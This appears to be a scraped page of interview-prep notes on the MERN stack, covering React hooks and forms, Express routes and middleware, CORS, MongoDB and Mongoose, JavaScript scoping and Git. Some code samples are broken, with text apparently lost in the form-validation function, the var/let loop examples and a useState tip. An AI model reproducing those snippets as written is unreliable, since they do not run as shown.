💡 Link vs NavLink vs useNavigate:
Context API solves the problem of Prop Drilling – passing props through many layers of components that don't need them. It allows you to share data globally across components.
// ❌ Prop Drilling (bad!)
App → passes user → Header → passes user → NavBar → passes user → UserAvatar
// UserAvatar needs user, but Header and NavBar don't use it!
// context/AuthContext.js
import { createContext, useContext, useState } from "react";
const AuthContext = createContext();
export function AuthProvider({ children }) {
const [user, setUser] = useState(null);
const [isLoggedIn, setIsLoggedIn] = useState(false);
const login = (userData) => {
setUser(userData);
setIsLoggedIn(true);
};
const logout = () => {
setUser(null);
setIsLoggedIn(false);
};
return (
<AuthContext.Provider value={{ user, isLoggedIn, login, logout }}>
{children}
</AuthContext.Provider>
);
}
// Custom hook for easy access
export function useAuth() {
return useContext(AuthContext);
}
// index.js - Wrap your app
import { AuthProvider } from "./context/AuthContext";
root.render(
<AuthProvider>
<App />
</AuthProvider>
);
// Any component can now access user data directly!
function NavBar() {
const { user, isLoggedIn, logout } = useAuth();
return (
<nav>
{isLoggedIn ? (
<>
<span>Welcome, {user.name}!</span>
<button onClick={logout}>Logout</button>
</>
) : (
<a href="/login">Login</a>
)}
</nav>
);
}
useEffect is a React Hook that allows you to perform side effects in functional components. Side effects include: API calls, timers, subscriptions, DOM manipulation, localStorage access.
useEffect(() => {
// Side effect code here
return () => {
// Cleanup function (optional)
};
}, [dependencies]); // Dependency array
useEffect(() => {
console.log("Runs after every render");
}); // No array = runs every time
useEffect(() => {
console.log("Runs only once - like componentDidMount");
// Perfect for: Fetch initial data, set up subscriptions
}, []); // Empty array = runs once
useEffect(() => {
console.log("Runs when userId changes");
fetchUserData(userId);
}, [userId]); // Runs when userId changes
import { useState, useEffect } from "react";
function UserList() {
const [users, setUsers] = useState([]);
const [loading, setLoading] = useState(true);
useEffect(() => {
const fetchUsers = async () => {
try {
const response = await fetch("https://api.example.com/users");
const data = await response.json();
setUsers(data);
} catch (error) {
console.error("Error:", error);
} finally {
setLoading(false);
}
};
fetchUsers();
}, []); // Fetch only once when component mounts
if (loading) return <p>Loading...</p>;
return (
<ul>
{users.map(user => <li key={user._id}>{user.name}</li>)}
</ul>
);
}
useEffect(() => {
const timer = setInterval(() => {
console.log("Timer tick");
}, 1000);
return () => {
clearInterval(timer); // Cleanup when component unmounts
console.log("Timer cleared");
};
}, []);
💡 Interview Answer: useEffect = componentDidMount + componentDidUpdate + componentWillUnmount combined!
useState is a React Hook that allows functional components to have state variables. Before Hooks, only class components could have state.
const [stateVariable, setterFunction] = useState(initialValue);
import { useState } from "react";
function Counter() {
const [count, setCount] = useState(0); // Initial value = 0
return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>+</button>
<button onClick={() => setCount(count - 1)}>-</button>
<button onClick={() => setCount(0)}>Reset</button>
</div>
);
}
function UserForm() {
const [user, setUser] = useState({
name: "",
email: "",
age: ""
});
const handleChange = (e) => {
setUser({ ...user, [e.target.name]: e.target.value }); // Spread operator!
};
return (
<form>
<input name="name" value={user.name} onChange={handleChange} />
<input name="email" value={user.email} onChange={handleChange} />
<input name="age" value={user.age} onChange={handleChange} />
<p>{JSON.stringify(user)}</p>
</form>
);
}
function TodoList() {
const [todos, setTodos] = useState([]);
const [input, setInput] = useState("");
const addTodo = () => {
setTodos([...todos, input]); // Add to array
setInput("");
};
const removeTodo = (index) => {
setTodos(todos.filter((_, i) => i !== index)); // Remove from array
};
return (
<div>
<input value={input} onChange={(e) => setInput(e.target.value)} />
<button onClick={addTodo}>Add</button>
{todos.map((todo, i) => (
<p key={i}>{todo} <button onClick={() => removeTodo(i)}>X</button></p>
))}
</div>
);
}
count++ → ✅ setCount(count + 1)setCount(prev => prev + 1)CORS (Cross-Origin Resource Sharing) is a browser security feature that blocks HTTP requests from a different origin (domain, protocol, or port).
// React app runs on: http://localhost:3000
// Express API runs on: http://localhost:5000
// When React sends request to Express:
// Browser blocks it! → "CORS policy: No Access-Control-Allow-Origin header"
// Install cors package
// npm install cors
const cors = require("cors");
const express = require("express");
const app = express();
// Option 1: Allow ALL origins (for development)
app.use(cors());
// Option 2: Allow specific origin (for production)
app.use(cors({
origin: "https://yourapp.com", // Frontend URL
methods: ["GET", "POST", "PUT", "DELETE"],
allowedHeaders: ["Content-Type", "Authorization"],
credentials: true // Allow cookies
}));
// Option 3: Allow multiple origins
const allowedOrigins = ["http://localhost:3000", "https://yourapp.com"];
app.use(cors({
origin: (origin, callback) => {
if (allowedOrigins.includes(origin) || !origin) {
callback(null, true);
} else {
callback(new Error("Not allowed by CORS"));
}
}
}));
💡 MNC Tip: In production, NEVER use cors() with no options! Always specify exact origins for security. Wipro and Accenture frequently ask this!
REST (Representational State Transfer) is an architectural style. RESTful APIs use HTTP methods to perform CRUD operations.
const express = require("express");
const router = express.Router();
const User = require("../models/User");
// GET all users
router.get("/users", async (req, res) => {
try {
const users = await User.find();
res.status(200).json(users);
} catch (err) {
res.status(500).json({ message: err.message });
}
});
// GET single user by ID
router.get("/users/:id", async (req, res) => {
try {
const user = await User.findById(req.params.id);
if (!user) return res.status(404).json({ message: "User not found" });
res.status(200).json(user);
} catch (err) {
res.status(500).json({ message: err.message });
}
});
// POST create user
router.post("/users", async (req, res) => {
try {
const { name, email, password } = req.body;
const newUser = new User({ name, email, password });
await newUser.save();
res.status(201).json({ message: "User created", user: newUser });
} catch (err) {
res.status(400).json({ message: err.message });
}
});
// PUT update user
router.put("/users/:id", async (req, res) => {
try {
const updated = await User.findByIdAndUpdate(
req.params.id,
req.body,
{ new: true, runValidators: true }
);
res.status(200).json(updated);
} catch (err) {
res.status(400).json({ message: err.message });
}
});
// DELETE user
router.delete("/users/:id", async (req, res) => {
try {
await User.findByIdAndDelete(req.params.id);
res.status(200).json({ message: "User deleted successfully" });
} catch (err) {
res.status(500).json({ message: err.message });
}
});
module.exports = router;
An Index is a special data structure that stores a small portion of the collection data to make queries faster. Without indexing, MongoDB performs a Collection Scan (checks every document). With indexing, it does an Index Scan (very fast!).
// Create a single field index on email
db.users.createIndex({ email: 1 }); // 1 = ascending, -1 = descending
// Create a unique index
db.users.createIndex({ email: 1 }, { unique: true });
// Compound index
db.products.createIndex({ category: 1, price: -1 });
// Text index for search
db.articles.createIndex({ title: "text", content: "text" });
// TTL Index - auto delete after 1 hour (3600 seconds)
db.sessions.createIndex({ createdAt: 1 }, { expireAfterSeconds: 3600 });
// View all indexes
db.users.getIndexes();
db.users.find({ email: "test@mail.com" }).explain("executionStats");
✅ Look for "IXSCAN" (index scan) instead of "COLLSCAN" (collection scan)
💡 MNC Tip: TCS and Capgemini ask – "What happens if you create too many indexes?" → Answer: Indexes speed up reads but slow down writes (insert/update/delete) because indexes also need to be updated!
CRUD stands for Create, Read, Update, Delete – the 4 basic database operations.
// Insert one document
db.users.insertOne({ name: "Karthik", age: 25, city: "Chennai" });
// Insert multiple documents
db.users.insertMany([
{ name: "Priya", age: 22 },
{ name: "Rahul", age: 28 }
]);
// Get all users
db.users.find();
// Get specific user
db.users.findOne({ name: "Karthik" });
// Get users with age > 20 (with projection)
db.users.find({ age: { $gt: 20 } }, { name: 1, age: 1 });
// Update one document
db.users.updateOne(
{ name: "Karthik" }, // filter
{ $set: { city: "Bangalore" } } // update
);
// Update all users with age < 18
db.users.updateMany({ age: { $lt: 18 } }, { $set: { status: "minor" } });
// Delete one user
db.users.deleteOne({ name: "Karthik" });
// Delete all inactive users
db.users.deleteMany({ status: "inactive" });
💡 Remember: Always use $set in update operations, otherwise the entire document will be replaced!
Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.js. It provides a structured way to interact with MongoDB by defining Schemas and Models.
const mongoose = require("mongoose");
const userSchema = new mongoose.Schema({
name: { type: String, required: true },
email: { type: String, required: true, unique: true },
age: { type: Number, min: 18 },
createdAt: { type: Date, default: Date.now }
});
const User = mongoose.model("User", userSchema);
// Create a new user
const newUser = new User({ name: "Priya", email: "priya@mail.com", age: 22 });
await newUser.save();
console.log("User saved!");
💡 MNC Interview Tip: Amazon and Wipro often ask "What validation does Mongoose provide?" → Answer: required, unique, min, max, enum, match (regex)
In a controlled component, React controls the form data. The input value is stored in state and updated through event handlers. React is the single source of truth.
import { useState } from "react";
function ControlledForm() {
const [formData, setFormData] = useState({
name: "",
email: "",
password: "",
role: "user"
});
const [errors, setErrors] = useState({});
const handleChange = (e) => {
const { name, value, type, checked } = e.target;
setFormData(prev => ({
...prev,
[name]: type === "checkbox" ? checked : value
}));
};
const validate = () => {
const newErrors = {};
if (!formData.name.trim()) newErrors.name = "Name is required";
if (!formData.email.includes("@")) newErrors.email = "Valid email required";
if (formData.password.length {
e.preventDefault();
const validationErrors = validate();
if (Object.keys(validationErrors).length > 0) {
setErrors(validationErrors);
return;
}
console.log("Submitting:", formData);
// API call here...
};
return (
<form onSubmit={handleSubmit}>
<div>
<input
type="text"
name="name"
value={formData.name} // Controlled by React state
onChange={handleChange}
placeholder="Your Name"
/>
{errors.name && <span style={{color:"red"}}>{errors.name}</span>}
</div>
<input type="email" name="email" value={formData.email} onChange={handleChange} />
{errors.email && <span style={{color:"red"}}>{errors.email}</span>}
<select name="role" value={formData.role} onChange={handleChange}>
<option value="user">User</option>
<option value="admin">Admin</option>
</select>
<button type="submit">Register</button>
</form>
);
}
In uncontrolled components, the DOM handles the form data itself. You access values using refs only when needed (on submit).
import { useRef } from "react";
function UncontrolledForm() {
const nameRef = useRef(null);
const emailRef = useRef(null);
const handleSubmit = (e) => {
e.preventDefault();
console.log({
name: nameRef.current.value, // Access value only on submit
email: emailRef.current.value
});
};
return (
<form onSubmit={handleSubmit}>
<input type="text" ref={nameRef} defaultValue="Default Name" />
<input type="email" ref={emailRef} />
<button type="submit">Submit</button>
</form>
);
}
| Feature | Controlled | Uncontrolled |
|---|---|---|
| Data Storage | React state | DOM itself |
| Validation | ✅ Real-time | Only on submit |
| React DevTools | ✅ Visible in state | Not visible |
| Code | More code needed | Less code |
| Recommended for | Most forms | File inputs, 3rd party libs |
💡 React Best Practice: Use controlled components in most cases. Use uncontrolled only for file inputs (<input type="file">) since their value cannot be controlled by React.
| Feature | var | let | const |
|---|---|---|---|
| Scope | Function scope | Block scope | Block scope |
| Re-declare | ✅ Yes | ❌ No | ❌ No |
| Re-assign | ✅ Yes | ✅ Yes | ❌ No |
| Hoisting | Yes (undefined) | Yes (TDZ) | Yes (TDZ) |
| When to use | ❌ Avoid | Variables that change | Constants (most code) |
// var - Function scoped (leaks out of blocks!)
function example() {
if (true) {
var x = 10; // Accessible outside if block!
}
console.log(x); // 10 - var is not block scoped!
}
// let/const - Block scoped
function example2() {
if (true) {
let y = 20;
const z = 30;
}
console.log(y); // ❌ ReferenceError: y is not defined
console.log(z); // ❌ ReferenceError: z is not defined
}
// Problematic var in loops
for (var i = 0; i console.log(i), 1000);
}
// Prints: 3, 3, 3 (var is shared!)
// Fixed with let
for (let i = 0; i console.log(i), 1000);
}
// Prints: 0, 1, 2 ✅ (let creates new binding per iteration)
// var - hoisted and initialized to undefined
console.log(a); // undefined (not error!)
var a = 5;
// let/const - hoisted but NOT initialized (Temporal Dead Zone - TDZ)
console.log(b); // ❌ ReferenceError: Cannot access before initialization
let b = 10;
// const prevents REASSIGNMENT, not MUTATION!
const user = { name: "Priya", age: 25 };
user.age = 26; // ✅ Allowed - modifying property
user = { name: "Ravi" }; // ❌ Error - reassigning const
const numbers = [1, 2, 3];
numbers.push(4); // ✅ Allowed - modifying array
numbers = []; // ❌ Error - reassigning const
// To truly freeze an object:
const frozen = Object.freeze({ name: "Priya" });
frozen.name = "Ravi"; // Silently fails (use strict throws error)
MERN Stack is a full-stack JavaScript framework for building modern web applications. MERN is an acronym for its 4 core technologies:
| Letter | Technology | Role | Port |
|---|---|---|---|
| M | MongoDB | Database – stores application data as JSON documents | 27017 |
| E | Express.js | Backend Framework – handles API routes, business logic | 5000 |
| R | React.js | Frontend Library – builds dynamic user interfaces | 3000 |
| N | Node.js | Runtime Environment – runs JavaScript on the server | – |
User interacts with React UI
↓
React sends HTTP Request to Express API
↓
Express processes request (authentication, validation)
↓
Node.js runs the Express code
↓
Mongoose queries MongoDB
↓
Data returned through the chain back to User
💡 Companies Using MERN/Similar Stack: Facebook (React), Netflix (Node.js), Uber (Node.js + MongoDB), LinkedIn (Node.js), Airbnb (React), Twitter (React)
Git is a distributed version control system that tracks changes in source code. It allows multiple developers to collaborate, maintain history of changes, and revert to previous versions.
# 1. Initialize a repository
git init
# 2. Configure user
git config --global user.name "Your Name"
git config --global user.email "your@email.com"
# 3. Clone existing repo
git clone https://github.com/user/repo.git
# 4. Check status
git status
# 5. Stage files
git add index.js # Add specific file
git add . # Add all files
# 6. Commit changes
git commit -m "Add user authentication feature"
# 7. Connect to remote
git remote add origin https://github.com/user/repo.git
# 8. Push to remote
git push origin main
# 9. Pull latest changes
git pull origin main
# Create and switch to new branch
git checkout -b feature/user-login
# (or) git switch -c feature/user-login
# Make changes and commit
git add .
git commit -m "Implement JWT login"
# Push feature branch
git push origin feature/user-login
# After code review → Merge to main (via PR or locally)
git checkout main
git merge feature/user-login
# Delete merged branch
git branch -d feature/user-login
git log --oneline # See commit history
git diff # See unstaged changes
git stash # Temporarily save changes
git stash pop # Restore stashed changes
git reset --hard HEAD~1 # Undo last commit (CAREFUL!)
git revert HEAD # Create new commit that undoes last commit (safer)
git blame file.js # See who changed each line
💡 Interview Tip: Know the difference between git merge (keeps history) and git rebase (creates linear history). MNCs like TCS and Wipro ask this!
Node.js is an open-source, cross-platform JavaScript runtime environment built on Chrome's V8 JavaScript engine. It allows JavaScript to run outside the browser (on the server side). It is the "N" in MERN Stack.
// Traditional Server (PHP, Java): One thread per request
// 1000 concurrent requests = 1000 threads = 💥 Out of memory!
// Node.js: Single thread with Event Loop
// 1000 concurrent requests = 1 thread handles all = ✅ Efficient!
// How?
console.log("Start");
setTimeout(() => console.log("Timer done"), 2000);
fetch("https://api.example.com/data")
.then(data => console.log("API data received"));
console.log("End");
// Output order:
// "Start"
// "End"
// "API data received" (when API responds)
// "Timer done" (after 2 seconds)
// Node doesn't WAIT for timer/API, it moves on!
Client Request → Event Loop →
If Non-blocking (I/O): → Background Thread Pool → Callback
If Blocking: → Main Thread (avoid this!)
| Feature | State | Props |
|---|---|---|
| Definition | Internal data of a component | Data passed from parent to child |
| Mutable? | ✅ Yes (using setState or useState) | ❌ No (read-only) |
| Belongs to | The component itself | Parent component |
| Triggers re-render? | ✅ Yes, when changed | ✅ Yes, when parent re-renders |
| Initial value | Set inside component | Passed from outside |
import { useState } from "react";
function TemperatureConverter() {
const [celsius, setCelsius] = useState(0); // State - belongs to this component
const fahrenheit = (celsius * 9) / 5 + 32;
return (
<div>
<input
type="number"
value={celsius}
onChange={(e) => setCelsius(Number(e.target.value))}
/>
<p>{celsius}°C = {fahrenheit}°F</p>
</div>
);
}
// Parent Component
function App() {
return (
<div>
<UserCard name="Priya" age={22} city="Chennai" />
<UserCard name="Ravi" age={25} city="Bangalore" />
</div>
);
}
// Child Component - receives props
function UserCard({ name, age, city }) {
return (
<div className="card">
<h2>{name}</h2>
<p>Age: {age}</p>
<p>City: {city}</p>
</div>
);
}
💡 Golden Rule: "Props come from outside, State lives inside!" – This is asked in almost every React interview!
JSX (JavaScript XML) is a syntax extension for JavaScript that allows you to write HTML-like code inside JavaScript. JSX is not valid JavaScript by itself – it is compiled by Babel into regular JavaScript.
// ❌ Without JSX (pure JavaScript - harder to read)
const element = React.createElement(
"div",
{ className: "container" },
React.createElement("h1", null, "Hello World"),
React.createElement("p", null, "Welcome to React")
);
// ✅ With JSX (much cleaner!)
const element = (
<div className="container">
<h1>Hello World</h1>
<p>Welcome to React</p>
</div>
);
function Welcome({ name, age }) {
const isAdult = age >= 18;
return (
<> {/* Fragment - no extra div added to DOM */}
<h1>Hello, {name}!</h1>
<p>Age: {age}</p>
{isAdult ? <span>Adult</span> : <span>Minor</span>}
{/* Rendering a list */}
<ul>
{["React", "Node", "MongoDB"].map((skill, index) => (
<li key={index}>{skill}</li>
))}
</ul>
</>
);
}
💡 Interview Tip: When asked "What is JSX?", always mention that it is compiled by Babel and is syntactic sugar over React.createElement()
React.js is an open-source JavaScript library developed by Facebook (Meta) for building user interfaces (UI). It is the "R" in MERN Stack. React allows developers to build reusable UI components that manage their own state.
import React, { useState } from "react";
function Counter() {
const [count, setCount] = useState(0);
return (
<div>
<h1>Count: {count}</h1>
<button onClick={() => setCount(count + 1)}>Increment</button>
<button onClick={() => setCount(count - 1)}>Decrement</button>
</div>
);
}
export default Counter;
Middleware is a function that has access to the request (req), response (res), and next objects. It runs between receiving a request and sending a response. Think of it as a checkpoint – every request must pass through middleware.
function middlewareName(req, res, next) {
// Do something
next(); // Pass control to next middleware
}
// 1. Logger Middleware
app.use((req, res, next) => {
console.log(`${req.method} ${req.url} - ${new Date().toISOString()}`);
next(); // Must call next() to continue!
});
// 2. Authentication Middleware
const authMiddleware = (req, res, next) => {
const token = req.headers.authorization;
if (!token) {
return res.status(401).json({ message: "No token provided" });
}
// verify token...
next();
};
// Apply to specific route
app.get("/dashboard", authMiddleware, (req, res) => {
res.json({ message: "Welcome to dashboard" });
});
// 3. Error Handling Middleware (must have 4 params)
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).json({ message: "Something went wrong!" });
});
// 4. Built-in middleware
app.use(express.json()); // Parse JSON body
app.use(express.static("public")); // Serve static files
// 5. Third-party middleware
const cors = require("cors");
app.use(cors()); // Allow cross-origin requests
💡 Key Rule: Always call next() unless you're sending a response. If you forget next(), the request will hang!
Express.js is a fast, minimal, and flexible Node.js web application framework. It is the "E" in MERN Stack. Express makes it easy to build RESTful APIs and web servers.
const express = require("express");
const app = express();
const PORT = 5000;
// Middleware to parse JSON
app.use(express.json());
// Route
app.get("/", (req, res) => {
res.json({ message: "Hello from Express Server!" });
});
// Start server
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
💡 Key Feature: Express handles the business logic and acts as the bridge between React frontend and MongoDB database.
In MongoDB, data is organized as:
{
"_id": ObjectId("507f1f77bcf86cd799439011"),
"name": "Ravi Kumar",
"age": 25,
"skills": ["React", "Node.js", "MongoDB"],
"address": {
"city": "Chennai",
"state": "Tamil Nadu"
}
}
| Feature | SQL (Relational) | NoSQL (MongoDB) |
|---|---|---|
| Structure | Tables & Rows | Collections & Documents |
| Schema | Fixed / Rigid | Flexible / Dynamic |
| Scaling | Vertical (bigger server) | Horizontal (more servers) |
| Query Language | SQL | MongoDB Query Language |
| Relationships | Foreign Keys & JOINs | Embedded docs / $lookup |
| Best For | Banking, Finance, ERP | Social Media, E-commerce, Real-time Apps |
| Examples | MySQL, PostgreSQL, Oracle | MongoDB, CouchDB, Firebase |
💡 Interview Tip: MNCs like TCS and Infosys always ask this question. Remember – "MongoDB is not better than SQL, it is better FOR certain use cases."
MongoDB is a NoSQL, document-oriented database that stores data in flexible, JSON-like format called BSON (Binary JSON). It is the "M" in MERN Stack.
In a Social Media App:
{
"_id": "64abc123",
"username": "john_doe",
"email": "john@example.com",
"posts": ["post1", "post2"],
"followers": 1500
}
✅ Notice – one user document stores everything. No need for multiple table JOINs like SQL.
MERN Stack is a popular full-stack JavaScript framework used to build modern web applications.
It consists of four main technologies:
How MERN Stack works:
This stack allows developers to use JavaScript for both frontend and backend, making development faster and more efficient.
Master these concepts and walk into your next interview with confidence!